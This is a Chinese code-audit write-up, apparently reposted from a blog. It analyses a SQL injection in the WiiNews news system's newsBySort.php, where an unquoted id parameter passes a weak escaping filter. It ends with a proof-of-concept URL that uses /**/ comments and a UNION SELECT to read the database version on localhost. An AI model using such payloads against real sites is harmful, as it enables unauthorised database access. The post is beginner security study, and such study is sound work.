WiiNews新闻系统 SQL注入

刚开始学习代码审计,根据法师的书本和相关资料进行慢慢开始练手,这里了一款WiiNews老版本针对于练手来讲还是比较简单通俗易懂的系统来做审计!

#1 SQL注入

文件:/newsBySort.php

代码10~18行:

	$sort=sqlReplace(trim($_GET['id']));    
	$sqlStr="select * from wiinews_newssort where newssort_id=$sort";
	$result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1007");
	$row = mysql_fetch_array($result);
	if ($row){
		$sortName=$row['newssort_name'];
	}else{
		die ("分类不存在。");
	}

  

$sort=sqlReplace(trim($_GET['id']));

id参数通过$_GET以后给sqlReplace函数处理、trim函数做是处理首尾处的空白字符。

下面跟进sqlReplace函数:

function sqlReplace($str)
{
   $strResult = $str;
   if(!get_magic_quotes_gpc())
  //如果gpc没有开 { $strResult = addslashes($strResult);
   //编码 } return HTMLEncode($strResult);
  //gpc开的话,返回HTMLEncode() }

$str传输进来判断如果gpc没有开启的话通过php内置函数addslashes()进行处理。如果开启的话则用HTMLEncode来处理。

function HTMLEncode($str){
	if (!empty($str)){
		$str=str_replace("&","&",$str);
		$str=str_replace(">",">",$str);
		$str=str_replace("<","<",$str);
		$str=str_replace(CHR(32)," ",$str);  //空格
		$str=str_replace(CHR(9),"    ",$str);
		$str=str_replace(CHR(9),"    ",$str);
		$str=str_replace(CHR(34),""",$str);  //双引号
		$str=str_replace(CHR(39),"'",$str);  //单引号
		$str=str_replace(CHR(13),"",$str);
		$str=str_replace(CHR(10),"<br/>",$str);
	}
	return $str;
}

这里只拦截了引号、空格、并没有拦截类似and、select等函数。

扫描二维码关注公众号,回复: 977952 查看本文章

通过数据库日志记录可以看到空格等相关的转义带入查询、这里可以用/**/注释一句来绕过SQL注入。

 

Url:http://127.0.0.1/WiiNews/newsBySort.php?id=1/**/and/**/1=2/**/union/**/select/**/1,version(),3,4,5,6

猜你喜欢

转载自www.cnblogs.com/xsr7yer/p/9070934.html
今日推荐